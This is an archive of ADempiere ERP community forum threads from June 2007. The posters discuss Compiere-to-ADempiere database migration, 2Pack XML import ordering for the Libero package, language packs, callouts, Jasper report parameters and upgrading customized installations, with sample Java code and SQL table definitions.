OK I ran the DBDifference utility expecting a report on differences but it actually updates the first DB with differences from the second. This caused some issue with AD_PInstance & Sequence numbers ... I removed all the AD_PInstance Records and ran the sequence check and all seems ok. I guess as PInstance records are gone I should also delete all the T_ tables records as they refernce the P_Instances as does AD_PInstance_Log & AD_PInstance_Para.

So in retrospect I guess it would be easier to simply add the C_DocType_ID column to the T_Replenish table :) I will create a Bug Report & submit a sql script patch.

colin

2007-06-12 11:29:55 UTC

As a side note... I see the column does NOT exist in the T_Replenish definition in db/database/create/adempiere.sql

But it DOES exist in defintion of T_Replenish in the

db/ddlutils/model/T_REPLENISH.XML

I'm not sure how these were created and are maintain ... it's just an observation.

colin

2007-06-13 16:33:23 UTC

On the subject of deleting the PInstance and T_ tables ... I just discovered there is actually a procedure in DB to do this ... DBA_CLEANUP.

colin

2007-06-13 17:02:38 UTC

I've also found that the database Procedure C_YearPeriods does not compile in my migrated DB because the column "Year" does not exist in table C_Year. Are others (Alejandro?) with compiere 253a migrated DBs finding the same? All other procedures compile with problem.

colin

2007-06-13 19:00:42 UTC

hmmm... but then there is no procedure C_YearPeriods in a clean 3.2.0 DB so perhaps it can simply be dropped in the migrated DB?

colin

2007-06-14 11:46:31 UTC

Hi Colin,

I don't have the C_YearPeriods procedure in my migrated DB. I found that it was dropped in the "migration-3.1.0-3.1.1.sql" script.

regards,

Alejandro

2007-06-14 16:04:38 UTC

Thanks Alejandro ... Yes it is!

Strange that it was still in my DB because the other changes seem to be there ok ... e.g. CM_ tables were created and the other changes around that YEAR->CALENDARYEAR & FISCAL YEAR were all made ok...

Also strange is that if I run it again I get lots of errors obviously because the tables & inserts are already there ... but the procedure is still there at the end ? but if I copy just that DROP PROCEDURE line to another window (I'm using sql developer) it removes it fine?? the joys of computers :)

After all the View creations I do get a message

"anonymous block completed" - no idea what specifically that refers to ... and a message

Error starting at line 1 in command:

YEAR

Error report:

Unkown Command"

Oh joy oh joy :)

anyway thx for the feedback .. much appreciated.

colin

2007-06-14 20:43:02 UTC

Hi Colin,

Just....

"Undetectable errors are infinite in variety, in contrast to detectable errors, which by definition are limited." (from Murphy Laws)

Regards,

Alejandro

2007-06-12 01:42:47 UTC

Hi All,

I am attempting to import the latest Libero.zip and running into errors. Specifically with workflows. PackOut.xml" line 210 of 8308 --2%-- col 776

:

```
<workflowNode Name="Bill of Material & Formula Review"
ADWorkflowNameID="Bill of Material & Formula Setup"
ADWindowNameID="Bill of Material & Formula Setup" ADTaskNameID="Bill of
Material & Formula Setup" ADProcessNameID="" ADFormNameID="Bill of
Material & Formula Review" ADWorkflowBlockNameID=""
ADWorkflowResponsibleNameID="" ADImageNameID="Bill of Material &
Formula Review" ADColumnNameID="" isActive="true" Description="" Help=""
isCentrallyMaintained="true" Action="X" EntityType="D" XPosition="0"
YPosition="0" SubflowExecution="" StartMode="" Priority="0" Duration="0" Cost="0"
WorkingTime="0" WaitingTime="0" JoinElement="X" SplitElement="X"
```

```
WaitTime="0" AttributeName="" AttributeValue="" DocAction="CO"
DynPriorityUnit="" DynPriorityChange="0"/>
```

Gives error:

```
PackIn.startElement: about to execute m_WFNode.save [19]
16:24:39.446 MWFNode.beforeSave: In beforeSave action: X [19]
16:24:39.447 DB.getConnectionRO: #0 - Pooled connection wrapping physical
connection org.postgresql.jdbc3.Jdbc3Connection@83020 [19]
=====> MWFNode.saveError: FillMandatory - Special Form [19]
-----> MWFNode.save: beforeSave failed - MWFNode[0-Bill of Material &
Formula Review,Action=Form:AD_Form_ID=0] [19]
```

```
<workflowNode Name="Bill of Materials & Formula " ADWorkflowNameID="Bill
of Material & Formula Setup" ADWindowNameID="Bill of Materials &
Formula " ADTaskNameID="Bill of Materials & Formula " ADProcessNameID=""
ADFormNameID="" ADWorkflowBlockNameID=""
ADWorkflowResponsibleNameID="" ADImageNameID="Bill of Materials &
Formula " ADColumnNameID="" isActive="true" Description="Product Bill of
Materials & Formula " Help="" isCentrallyMaintained="true" Action="W"
EntityType="D" XPosition="0" YPosition="0" SubflowExecution="" StartMode=""
Priority="0" Duration="0" Cost="0" WorkingTime="0" WaitingTime="0"
JoinElement="X" SplitElement="X" WaitTime="0" AttributeName=""
AttributeValue="" DocAction="CO" DynPriorityUnit="" DynPriorityChange="0"/>
```

gives error:

```
MWFNode.saveError: FillMandatory - Window [19]
-----> MWFNode.save: beforeSave failed - MWFNode[0-Bill of Materials &
Formula ,Action=Window:AD_Window_ID=0] [19]
16:24:39.471 PackIn.startElement: m_WFNode save failure [19]
```

Later at line 1338 you see:

```
<form ADFormNameID="Bill of Material & Formula Review"
Classname="org.evolution.form.VTreeBOM" isBetaFunctionality="false"
AccessLevel="3" Description="" isActive="true" EntityType="D" Help="" Name="Bill
of Material & Formula Review"/>
```

So what is happening is that the workflow node depends on a form that has not been defined, and the other workflow node depends on a window that has not been defined. Here are my suggestions:

1. Create place holders when needed with kind of "dummy" objects that will be fleshed out later but can be defined up front for objects that need them. An example of doing this for a window would be:

```
public int createPlaceholderWindow( String name, String m_trxName) {
m_Window = new MWindow(m_ctx, id, m_trxName);^M
m_Window.setName(name); ^M
m_Window.setIsActive(true);
m_Window.setProcessing (false);^M
m_Window.setWindowType (atts.getValue("WindowType"));^M
if (m_Window.save(m_trxName) == true){^M
record_log (1, m_Window.getName(),"Window", m_Window.get_ID(),0,
"New","AD_Window",get_IDWithColumn("AD_Table", "TableName",
"AD_Window")); ^M
}^M
else{^M
record_log (0, m_Window.getName(),"Window", m_Window.get_ID(),0,
Object_Status,"AD_Window",get_IDWithColumn("AD_Table", "TableName",
"AD_Window"));^M
}^M
return m_Window.get_ID();

}
```

2. The order that elements are packed out must comply with the the relational database schema. For instance a table comes before fields, a workflow comes before nodes.

3. The way elements are nested should not violate the relational database schema. Victor was mentioning an issue where a window element had a workflow inside of it, but a workflow had a window inside of it, so it was kind of a circular definition. This should not happen if we comply with the relationships of the relational database schema. An example would be:

AD_Window table is defined as:

```
*=====*
/
/* Table: ad_window */
/*=====
*/
create table ad_window (
ad_window_id numeric(10) not null,
ad_client_id numeric(10) not null,
ad_org_id numeric(10) not null,
isactive char(1) not null default 'Y'::bpchar
constraint ad_window_isactive_check check (isactive in ('ANY') (ARRAY['Y'::bpchar,
'N'::bpchar])),
```

```

created timestamp not null default now(),
createdby numeric(10) not null,
updated timestamp not null default now(),
updatedby numeric(10) not null,
name varchar(60) not null,
description varchar(255) null,
help varchar(2000) null,
windowtype char(1) null,
issotrx char(1) not null default 'Y'::bpchar
constraint ad_window_issotrx_check check (issotrx in ('ANY') (ARRAY['Y'::bpchar,
'N'::bpchar])),
entitytype varchar(4) not null default 'D'::character varying,
processing char(1) null,
ad_image_id numeric(10) null,
ad_color_id numeric(10) null,
isdefault char(1) not null default 'N'::bpchar,
winheight numeric(10) null,
winwidth numeric(10) null,
isbetafunctionality char(1) not null default 'N'::bpchar,
constraint ad_window_pkey primary key (ad_window_id)
)
without oids;

```

There is no ad_workflow_id in this table so the window 2pack element should never contain a workflow definition. When we look at the definition of the ad_wf_node table we see:

```

/*=====
*/
/* Table: ad_wf_node */
/*=====
*/
create table ad_wf_node (
ad_wf_node_id numeric(10) not null,
ad_client_id numeric(10) not null,
ad_org_id numeric(10) not null,
isactive char(1) not null default 'Y'::bpchar
constraint ad_wf_node_isactive_check check (isactive in ('ANY') (ARRAY['Y'::bpchar,
'N'::bpchar])),
created timestamp not null default now(),
createdby numeric(10) not null,
updated timestamp not null default now(),
updatedby numeric(10) not null,
name varchar(60) not null,
description varchar(255) null,
help varchar(2000) null,

```

ad_workflow_id numeric(10) not null,
iscentrallymaintained char(1) not null default 'Y'::bpchar
constraint ad_wf_node_iscentrallymaintained_check check (iscentrallymaintained in ('ANY') (ARRAY['Y'::bpchar, 'N'::bpchar])),
action varchar(1) not null,
ad_window_id numeric(10) null,
workflow_id numeric(10) null,
ad_task_id numeric(10) null,
ad_process_id numeric(10) null,
ad_form_id numeric(10) null,
entitytype varchar(4) not null default 'D'::character varying,
xposition numeric not null default 0,
yposition numeric not null default 0,
ad_wf_block_id numeric(10) null,
subflowexecution varchar(1) null,
startmode varchar(1) null,
finishmode varchar(1) null,
"limit" numeric not null default 0,
priority numeric null,
duration numeric not null default 0,
cost numeric not null default 0,
workingtime numeric null,
waitingtime numeric not null default 0,
ad_wf_responsible_id numeric(10) null,
ad_image_id numeric(10) null,
joinelement varchar(1) not null,
splitelement varchar(1) not null,
waittime numeric null,
ad_column_id numeric(10) null,
attributename varchar(60) null,
attributevalue varchar(60) null,
docaction varchar(2) null,
value varchar(40) not null,
dynpriorityunit varchar(1) null,
dynprioritychange numeric null,
emailrecipient varchar(1) null,
email varchar(60) null,
r_mailtext_id numeric(10) null,
validto timestamp null,
validfrom timestamp null,
unitscycles numeric null,
setuptime numeric null,
s_resource_id numeric(10) null,
queuingtime numeric null,
overlapunits numeric null,
movingtime numeric null,

issubcontracting char(1) null,
c_bpartner_id numeric(10) null,
ismilestone char(1) null,
constraint ad_wf_node_pkey primary key (ad_wf_node_id)
)
without oids;

This table does have an ad_window_id so theoretically the workflownode 2pack element could nest a window. I personally think we should limit nesting as much as possible and just focus on the ordering.

What does everyone think?

-Tim

2007-06-13 05:22:08 UTC

Hi Tim,

Correct point about import order and relational model violation. I agree. But I think both of them should be handled when packing out, so that a logically sound XML is generated. I'll give an example:

Suppose when importing, 2pack is creating a workflow and the workflow points to a window which does not exist. That could be simply a window which will be defined later during import or could be a missing table in database; perhaps some migration scripts or similar stuff. So how 2pack is going to find out should it create a placeholder or it's a database inconsistency?

So, my humble opinion is that those issues, all of them correctly pointed out by you, should be managed during the export process.

What do you think?

Warm regards,
Bahman

PS: I may be totally wrong since I'm not a 2pack expert.

2007-06-13 08:31:38 UTC

Previously in XM2AD, Druid xml was used to communicate Table changes, and new tables were designed in the Druid definition and Create or Alter SQLs were generated. We can do the same thing to ensure such tables are created. We can check the new tables EntityType = "U" (User-Defined) to ensure that only new changes are generated. I think that EntityType is used anyway in 2Pack, as only new stuff are exported.

To check new tables i think its easy just by examining AD_Table.EntityType = "U"

2007-06-13 09:07:09 UTC

Hi Red1,

>Previously in XM2AD, Druid xml was used to communicate Table changes, and new tables were designed in the Druid >definition and Create or Alter SQLs were generated. We can do the same thing to ensure such tables are created.

I would like to add that curently in ADCK i still use Driud and keep track of all changes in DB and AD inside Druid. But this is my personal preference.

>This table does have an ad_window_id so theoretically the workflownode 2pack element could nest a window. I >personally think we should limit nesting as much as possible and just focus on the ordering.

Personaly i solve this problem by starting second time importer (in my case ADCK). For exmample AD_Table has column AD_Window_ID and PO_Window_ID. When i import changes i start ant tasks like:

- 1) build.bat model
- 2) build.bat view
- 3) build.bat model

Second ant task creates missing window and third ant tasks assing proper window to AD_Table.

Second option is to nest definiton of Window inside AD_Table, but this is too much effort for me.

Kind regards,
Trifon

2007-06-13 19:12:35 UTC

Hi All,

I really appreciate all of your suggestions/comments. Because I want to do this sooner then later I think I am going to do the following:

I am going to use well-formedness xml validation via:

```
DocumentBuilder parser =  
DocumentBuilderFactory.newInstance().newDocumentBuilder();  
Document document = parser.parse(new File("myXMLDocument.xml"));
```

(You can see more about this at: <http://java.sun.com/developer/technicalArticles/xml/validationxpath/>)

If the xml is not well formed an error will be created and no import will occur.

I can't do a validation of the xml as we have no schema for the PackOut.xml. Anyone want to make one?

I have come to the radical conclusion that I am going to do the following:

1. Support duplicate nested workflows, windows, etc... (menus are already handled this way)
2. Gather up all the xml elements in a big structure before actually processing them the same way menu's are handled now.
3. Once the end element </adempiereAD> is encountered code like the following will occur:

```
if (m_Menu.save(m_trxName) == true){^M
try { ^M
idDetail = record_log (1, m_Menu.getName(),"Menu",
m_Menu.get_ID(),AD_Backup_ID,
Object_Status,"AD_Menu",get_IDWithColumn("AD_Table", "TableName",
"AD_Menu"));^M
} catch (SAXException e) {^M
log.info ("setmenu:"+e);^M
} ^M
}^M
else{^M
try {^M
idDetail = record_log (0, m_Menu.getName(),"Menu",
m_Menu.get_ID(),AD_Backup_ID,
Object_Status,"AD_Menu",get_IDWithColumn("AD_Table", "TableName",
"AD_Menu"));^M
} catch (SAXException e) {^M
log.info ("setmenu:"+e);^M
}^M
}^M
```

for every object that has been saved in the big structure.

The benefits of doing this are:

1. The ability to import Libero 2pack even with the current duplications of elements and nesting of elements
2. The ability to import objects in a specific order different then the order specified in the PackOut.xml

3. The ability to handle save exceptions more intelligently. (For example if an element depends on another element, find that element and save it first)

2007-06-15 17:56:48 UTC

Hi Tim!

I think is righth we need take to the next level.

We should verify if a 2pack file is righth, before the import.

I think that we need use xml schema validation.

<http://www.w3.org/TR/xmlschema-1/>

Tim here are a example.

What do you think?

Victor Perez
CEO

<http://www.e-evolution.com>

2007-06-15 21:13:16 UTC

Hi Victor,

Thanks for commenting on my post. I have just committed a test case dealing with PackOut.xml xml validation. You can see this at:

<http://svn.sourceforge.net/adempiere/?rev=2669&view=rev>

Please alter this test case to validate the xml schema if you don't mind. I am new to that. The new approach I am taking for the 2pack xml import is now being tested. It is working well. Some of the output of my test are as follows:

```
[java] reference name: Locator (WH)
[java] m_Reference.save succeeded
[java] reference name: Date+Time
[java] m_Reference.save succeeded
[java] reference name: Search
[java] m_Reference.save succeeded
[java] reference name: Table
[java] m_Reference.save succeeded
```

```
[java] reference name: AD_User
[java] m_Reference.save succeeded
[java] reference name: Date+Time
[java] m_Reference.save succeeded
[java] reference name: Table Direct
[java] m_Reference.save succeeded
[java] reference name: Table
[java] m_Reference.save succeeded
[java] reference name: AD_User
[java] m_Reference.save succeeded
[java] reference name: Table Direct
```

You can assist in testing if you go into the extend directory, uncomment the XMLImportStructureTest in the build.xml and type ant run at the command prompt. You will also need to move the Libero PackOut.xml to the extend directory. In order to see things easily as the output is coming out I usually do this:

```
ant run | grep "succeeded\\|failed\\|processing\\|Exception"
```

If you see output with the failed or Exception obviously a bug needs to be fixed. Let me know if you have questions.

2007-06-08 17:24:22 UTC

Hello,

I tried to install adempiere 3.2.0 this week on linux (CentOS 5). I followed all instructions: server, dbs etc. Adempiere works, I don't see serious errors in logs.

Then I tried to install language pack (sk_SK Slovak). I have logged as SystemAdministrator, "Added missing translation" (sk_SK), Translation Import (.../sk_SK), "Synchronize terminology". OK - no errors. I log out and try to log in with Slovak language. But this language is missing in drop-down list.

I am lost. I am not sure, if I made wrong step during installation.

Help me please.

Peter

2007-06-08 20:50:13 UTC

Hi Peter,

here is the complete guide to language pack

installation http://www.adempiere.com/wiki/index.php/Language_Pack_Installation.

Do you have marked both check boxes (ACTIVE, SYSTEM LANGUAGE) in language

windows? Then you should be able to see sk_SK option in login screen. At least it is working for me. Just FYI next week I plan to release newer, more complete version of Slovak language pack, also with the login screen etc...

Miso Z.

2007-06-09 11:36:08 UTC

Hi Miso,

thank you for your prompt response.

I found out, where the problem is. When client starts, it runs a method "getLanguage". When I changed my language in linux to Slovak, there was sk_SK option added into combo-box in login screen. When I switched back to English, it was missing again sk_SK option.

I consider this beviour incorrect and I would like to report bug (but don't know where :o).

I would like to thank you for Slovak translation. Does AccountingSK.csv exist somewhere?

Have a nice day!

Peter

2007-06-11 02:49:04 UTC

Hi Peter,

Fyi, u can report what u just describd here:

http://sourceforge.net/tracker/?group_id=176962&atid=879332

It is the bug tracker.

regards
redl

2007-06-11 08:31:55 UTC

Hi Peter

>> I consider this beviour incorrect and I would like to report bug (but don't know where

Check out http://www.adempiere.com/wiki/index.php/QAStart#How_do_I_start.3F

colin

2007-06-17 09:52:07 UTC

If you are really struck than modify Language.java and insert your language in the language array.

The drop down will show your lanaguae. (I am almost sure this is not a correct fix :))

but might work for the moment.

2007-06-18 06:11:49 UTC

Hello everyone,

Is it possible not to show the reverse - corrected invoices in the Account Viewer?
What about making a new column in the Account Viewers' DB table marking corrected invoices,
and then adding a new condition to the WHERE clause of Account Viewers' sql?

Thanks...

2007-06-18 01:44:15 UTC

with all this bugs in ADempiere...
How the company which adopted ADempiere,
still can run: their day by day business process, with ADempiere?
when ADempiere update is monthly...

thank you

2007-06-18 04:15:18 UTC

Hi,

>with all this bugs in ADempiere...
>How the company which adopted ADempiere,
>still can run: their day by day business process, with ADempiere?
>when ADempiere update is monthly...

For one of my clients i have updated 10 times per day Adempiere installation because of new functionality/bug fixes.

Kind regards,
Trifon

2007-06-18 05:29:53 UTC

thank you...

>> For one of my clients i have updated 10 times per day Adempiere installation
>> because of new functionality/bug fixes.

are you updating via internet?
is it free of charge to your client?
OR your client have a contract with u?
annual contract is USD?
what's covered on that contract?

thank you...

2007-06-18 08:01:03 UTC

Hi,

>are you updating via internet?
Yes, till onw only by internet. In most cases with VNC, or web clients (LogMeIn).

>is it free of charge to your client?

This is a service, so it is paid.

>OR your client have a contract with u?

It is available for anyone who would like ot pay.

>annual contract is USD?
>what's covered on that contract?

It depends what customer would like ot have. It can be custom development, installation or troubleshooting and support.

Such service provide most of Adempiere developers and implementation service providers.

Kind regards,
Trifon

2007-06-18 06:14:19 UTC

I got chat with trifont about Model, the core of Compiere/Adempiere

anyonw have work with this

usually i use DB as the prepared statement inside my java code

i am new in model, anyone can help?

2007-06-18 08:03:15 UTC

Hi Frans,

>I got chat with trifont about Model, the core of Compiere/Adempiere

>

>anyonw have work with this

>

>usually i use DB as the prepared statement inside my java code

>

>i am new in model, anyone can help?

What would you like to do?

Adempiere inherited SQL embeded code from Compiere.

Kind regards,
Trifon

2007-06-18 08:28:08 UTC

i just want to develop a FormPanel like apps, and save a product information, and soon may be SOA like thing.

what does adempiere inheerited SQL mean?

F

2007-06-12 11:35:33 UTC

Hi All

i have compiere and want to move to adempiere, the migration include Inventory Items, Quantity and Pricelist plus FIFO history

and the COA will be new, any one cna help to migrate

i try using iNSERt and the system go crash

Frans

2007-06-12 11:49:11 UTC

Hi Frans,

first - welcome to ADempiere!

What version of Compiere do you use - if you are on 2.5.3x it is easier to use the existing (and tested) migration scripts to upgrade your db to ADempiere 3.2.

Regards,
Karsten

2007-06-12 11:53:49 UTC

Oh - forgot to mention 2.5.2d

Regards,
Karsten

2007-06-18 08:50:46 UTC

i dont want to migrate,

i want to develop a PO like apps, using DB's prepare statement, and using FormPanel

the idea is i want to develop FormPanel like POS,

i got that we must access the Product Model, but still finding the glue here.

Frans

2007-06-18 08:52:24 UTC

sorry, there is a migration also, but the migration is from another compiere to adempiere

this is not about migration script, this is about to move just inventory data to another adempiere inventory data

got the idea?

this idea may be can be implemented like POS that i am exlian there

2007-06-18 08:52:37 UTC

sorry, there is a migration also, but the migration is from another compiere to adempiere

this is not about migration script, this is about to move just inventory data to another adempiere inventory data

got the idea?

this idea may be can be implemented like POS that i am mention up

2007-06-18 11:45:52 UTC

Hi,

i have a problem, can somebody help me?

i am using AD3.2.0 and now i want to import libero and libero payroll. I downloaded source from SVN (branches/libero), then i import with Import packege libero zip into adempiere. In instaled package i can see that libero package was instaled. Am i on right way? An what should i do next?

Thanks a lot,
Best Regards,
Bojana

2007-06-16 11:36:05 UTC

Hello everybody,

Does anybody know how to take number from one field, calculate the 10% of it, and insert the result to the other field in the window.

I've read the similar articles in the forum but am not sure they match my task...

Thanks in advance...

2007-06-16 12:42:55 UTC

Hi Assety!

In Adempierte terms, you are talking about a Call out.

You can find the definition in our wiki here:

<http://www.adempiere.com/wiki/index.php/Tutorials>

An a good example about how to implement them in the following document created by red1

<http://compiere.red1.org/Callout.zip>

Best Regards

2007-06-16 13:15:41 UTC

Hi,

here is one example from the ADempiere code (org.compiere.model.CalloutEngine.rate()). It is called from table C_UOM_Conversion, field DivideRate and does nearly exactly what you need:

```
public String rate (Properties ctx, int WindowNo, GridTab mTab, GridField mField,
Object value)
{
if (isCalloutActive() || value == null) // assuming it is Conversion_Rate
return "";
setCalloutActive(true);

BigDecimal rate1 = (BigDecimal)value;
BigDecimal rate2 = Env.ZERO;
BigDecimal one = new BigDecimal(1.0);

if (rate1.doubleValue() != 0.0) // no divide by zero
rate2 = one.divide(rate1, 12, BigDecimal.ROUND_HALF_UP);
//
if (mField.getColumnName().equals("MultiplyRate"))
mTab.setValue("DivideRate", rate2);
else
mTab.setValue("MultiplyRate", rate2);
log.info(mField.getColumnName() + "=" + rate1 + " => " + rate2);
setCalloutActive(false);
return "";
} // rate
```

Regards,
Karsten

2007-06-17 06:23:04 UTC

Yeah, I did it, thanks a lot to Moyses and Karsten... :)

2007-06-17 07:25:56 UTC

Dear ADempiers,

Has ever anybody considered a compound widget concept like this: The possibility of defining widgets which are created for certain n:1 combinations of fields instead of creating 1:1 widget per field? As long as these widgets are defined for all UIs (Swing, HTML-Forms, AJAX), they would automatically be applied for all occurrences of the specified combination of fields. If missing in a specific UI, it would still use the base set

of widgets. Just an idea which might help making the UI more handy.

... Michael

2007-06-17 09:45:14 UTC

If you do not want to persist the data and if it's fine that the field is populated after you save the record than you can use the virtual column. This data is not persisted in data base also.

For virtual column use the column sql field in Table and Column window. You can see into the help also about this.

thanks,
lalit

2007-06-17 15:14:07 UTC

Hi,

see here for an example:

http://www.adempiere.com/wiki/index.php/Virtual_Columns

Regards,
Karsten

2007-06-18 09:04:03 UTC

Hi Michael,

can you please give an example for such a widget?

Regards,
Karsten

2007-06-18 12:33:22 UTC

Hi Karsten,

A simple example for such a widget would be a widget of zipcode/town or even street/zipcode/town. The zipcode or town could be set automatically in many cases if not even all cases, same with the town if the zipcode is given.

Sometimes its not so much about combining multiple fields but more about special input methods of specific fields. A typically hard wired kind of such an input method is a popup calendar for a date field, from which the user can select the date.

Such a widget as I have in mind is a generic way of producing such input editors for a single or multiple fields.

... Michael

2007-06-17 01:43:07 UTC

Hi,

I am working with standalone Jasper Reports in the first place, to move to application server deployment later on.

I have difficulties trying to work with parameters for Jasper reports.

When started from iReport, the parameters are asked and it works OK, but I get an empty report when started from within Adempiere.

Even if I define in Report&Process the parameters I defined with iReport with the same data type and length as defined in the DB, I get an empty report.

Does somebody know how to pass parameters to Jasper reports within Adempiere?

Thanks in advance,
Mario Calderon

2007-06-17 08:22:34 UTC

Hi Mario,

>When started from iReport, the parameters are asked and it works OK, but I get an empty report when started from >within Adempiere

I think that in iReport your report parameters are marked as "ask user for value" or something like this. Please try to uncheck this flag in iReport and try again.

Kind regards,
Trifon

2007-06-17 14:08:52 UTC

Hi Mario,

When I tried this first I had a similar experience, my problem was I had not assigned the correct Default value when defining the parameters, i.e. the @PARAM@ value. I also had issue with case so switched to all CAPS to ensure no mix up.

Colin

2007-06-17 17:23:58 UTC

Hi,

Here are some values so you can better figure out my context:

I am trying to show some fields of table C_BPARTNER and the only parameter to be asked for in Adempiere should be the column NAME.

Here the values:

iReports parameter name: BPNAME

iReports parameter prompt: <parameter name="BPNAME" isForPrompting="false" class="java.lang.String"/>

iReports parameter default expression: (I left it empty)

iReports query: SELECT C_BPARTNER."NAMEE" AS C_BPARTNER_NAME, ...
FROM ... WHERE NAME LIKE \$P!{BPNAME}

Adempiere Report&Process, Parameter tab

Name: BPNAME

Active: true

DB Column Name: NAME

Reference: String

Value format: (I left it empty)

Default logic: % (or I left it empty)

The report has in the Report&Process tab only the fields Classname and jasper Reports with the values org.compiere.report.ReportStarter and /data2/app/Adempiere/reports/myfirstJRReport.jrxml respectively.

With iReports I see the data (of course, I switch parameter prompting to true), whereas with Adempiere, the report is empty.

If I eliminate the parameter in iReport and Adempiere, the report is displayed correctly by Adempiere.

I have tried several combinations (I believed all possible permutations) without success.

Colin, when you speak of the "correct default value value when defining the parameters, i.e. the @PARAM@ value", do you mean the field Default logic in the Parameter tab of Report&Process? I almost always put % in there. If not, what do you mean?

Thanks

Mario Calderón

2007-06-17 19:52:52 UTC

Hi Mario

yeah I mean the Default Logic in the Parameter tab. I've been looking in the wiki to find out where I discovered this ...but I can't find anything except this post in the

forums https://sourceforge.net/forum/message.php?msg_id=4255703.

So yeah I mean the default logic and you set it to the iReports parameter name surround with @ ... @PARAM@. This was the missing link when I tested this first.

colin

2007-06-17 19:56:12 UTC

PS. So going by your example Default Logic is @BPNAME@.

PPS. I think I left the iReports prompt = true for the parameter but I don't know if that has any bearing when run from Adempiere.

colin

2007-06-18 16:09:46 UTC

Hi,

Now I can launch a Jasper Report with parameters from Adempiere.

After trying and missing, I think I found the right configuration:

- the parameter name in iReport (or better: in the .jrxml file) must be identical to the Field DB Column Name in Adempiere's Process&Report Parameter tab. This is the important point.
- it is irrelevant for Adempiere whether you set in iReports "isForPrompting" true or false
- likewise, the parameter name is irrelevant in Adempiere

I am going to update the wiki in this respect.

Thanks a lot for your comments and tips (esp. Colin & Trifon).

Mario Calderón

2007-06-18 07:55:04 UTC

Hi,

We are going to get updated to AD320(now we are working with AD316)...
We already have some of the classes in AD changed according to our needs.

What kind of steps do I have to do the update?

2007-06-18 08:22:18 UTC

Just backup your DB and Adempiere directory and follow carefully Adempiere migration

instruction here:<http://www.adempiere.com/wiki/index.php/Migration>

I'm currently testing a migration from a heavily-customized (both AD and Java code) Adempiere 3.1.0 to 3.2.0 without many problems :-)
(thanks to migration folks! :-))

Best Regards,

Andrea

2007-06-18 13:44:52 UTC

will it work for modified core classes?

i think i still don't understand what classes are core classes. is there any definition of core classes?

i'm thinking about solving my problem in this way:

1. compare the original 316 with my version of 316 using any tools that compare files and folders.
2. get the modified or added files.
3. import modified and added files into the new 320.
4. open the champagne and celebrate victory over the ignorance ;)

what do you think about this?

2007-06-18 13:54:26 UTC

well.. for the Java part I have done something like this:

- starting from adempiere 3.1.0 I create my git repository (I'm used to work with Linux kernel source so.. I have to use git! :-))
- add my code, modify the "other's" code, commit and start again
- checkout from svn adempiere 3.2.0 and create another git repo
- make a patch from "original adempiere 3.1.0" to "my adempiere 3.1.0"
- apply this patch to new adempiere repo
- manually fix (minor) conflicts
- rebuild and.. it works :-)

in less than two days (not full of work) I upgraded from 3.1.0 to 3.2.0 both AD and Java code.. adempiere migration power :-)

2007-06-18 14:07:47 UTC

Hi,

> i think i still don't understand what classes are core classes. is there any definition of core classes?

Basically the classes from ADempiere, that are maintained by ADempiere project.

> i'm thinking about solving my problem in this way:

- > 1. compare the original 316 with my version of 316 using any tools that compare files and folders.
- > 2. get the modified or added files.
- > 3. import modified and added files into the new 320.
- > 4. open the champagne and celebrate victory over the ignorance ;)

Basically i use the same procedure, but i merge often :)

Btw, if your branch is stored in SVN over HTTP, you can consider SVN merge as a quick and efficient solution for merging.

Best regards,
Teo Sarca

2007-06-18 14:44:12 UTC

Hi,

few week ago we update from 3.1.2 to 3.2.0 from svn repository (<http://adempiere.svn.sourceforge.net/svnroot/adempiere>) using eclipse. We made following steps and we didnt have any problems:

- first we create patch
- then we downloaded source from svn repository (trunk)
- after the source was downloaded we apply previously created patch
- then you shoud run all sql statement from migration directory (sql statement are placed into directory order by adempiere version so you must run just sql statement from those directory where version is higher then yours)

Regards,
bojana

2007-06-19 06:00:52 UTC

Hi,

How to synchronize AD entries between two versions? We had a lot AD changes (e.g. we created new tables, windows, etc) and now we want to migrate changes to the new version of Adempiere.

Rgds,
Elvis

2007-06-19 07:15:08 UTC

new adempiere AD will be created when you run migration SQL scripts, your changes to AD (if you done it well ;-)) will be left unchanged and you will see your customization in the brand new version of adempiere

(just remember to run some processes like Sequence Check or you will have some.. ehm.. trouble.. with sequence number ;-)) but it's everything explained in adempiere wiki)

best regards,

Andrea

2007-06-19 07:25:27 UTC

Hi Elvis,

it is a different migration approach. We don't try to move your data from one db instance to another. We 'just' upgrade your existing compiere db to the actual adempiere db. That's why all your customizations are left untouched.

Best Regards,
Karsten

2007-06-19 10:14:39 UTC

Hi Karsten,

thanks for answer.

Elvis

2007-06-13 20:41:37 UTC

Howdy all!

Well, yesterday I was talking to red1, we got to a point with Localization Brazil that we need some colabration tools to do the work flow in a better way. One of the proposals was to open up a new sourceforge project so the two consulting companies that are working on it would be able to colaborate. Well, I thought, why not just use Adempiere's own sourceforge to do it, then all the resources will be in one place to whoever wants to use. So I requested red1 for a Bug tracking and Task tracking sub-level for our localization project. Can this be done?

Well, just before I end this post, I'd like to present the other guys that are cooperating with Adempiere LBR (LBR = Localization Brazil). Those are their names, followed by their sourceforge username.

Eduardo Montenegro (emontenegro)
Alvaro Montenegro (amontenegro)
Mario Grigioni (mgrigioni)

2007-06-15 10:30:54 UTC

Fernando,
I check the Tracker above and found Contributions sub tracker which are used for German Localisation effort. I wonder if that can be used.
Do other developers and CC members support this idea by Fernando? If no objection we can likewise create a Contributions section for Tasks too and admit our other friends into the Dev list.

Will wait 2 more days for objections or comments.

red1

2007-06-15 14:43:08 UTC

Hi Fernando,

>One of the proposals was to open up a new sourceforge project so the two consulting companies that are working on it >would be able to coloborate. Well, I thought, why not just use Adempiere's own sourceforge to do it, then all the >resources will be in one place to whoever wants to use. So I requested red1 for a Bug tracking and Task tracking >sub-level for our localization project. Can this be done?

My personal advice would be to stay together with Adempiere project. I do not have time to look at other projects in sf.net it is too much additioanl work, so i think that only as part of Adempiere such efforts can get help from Adempiere project. This ws my advice for Posterita project, and i hope that it worked well for them.

As a CC memeber i agree to create any contribution section or anything else they need.

Kind regards,
Trifon

2007-06-19 14:39:37 UTC

I have added all their names above as Translators. They can use the Bugs and Tasks trackers and look for the Contribution sub-sections to note their work there.

2007-06-20 09:13:43 UTC

Hi,

I will like to post in French the sum of the invoice , I know that has a AmtInWords_FR class which allows to do that, but I do not know how to modify to change the posting of the sum of the invoice which is currently in English.

Yacine.

Environnement:

Adempiere 3.2

Fedora 5

Best Regards

2007-06-15 01:32:21 UTC

what is the difference (head-to-head: plus and minus)
between ADempiere and OpenBravo?

or... where can i found such information?

thank you...

2007-06-15 08:59:18 UTC

Hi,

>what is the difference (head-to-head: plus and minus)

>between ADempiere and OpenBravo?

Common things between two systems are:

- 1) AD(Application Dictionary)
- 2) Layout of User Interface
- 3) Big part of business functionality.

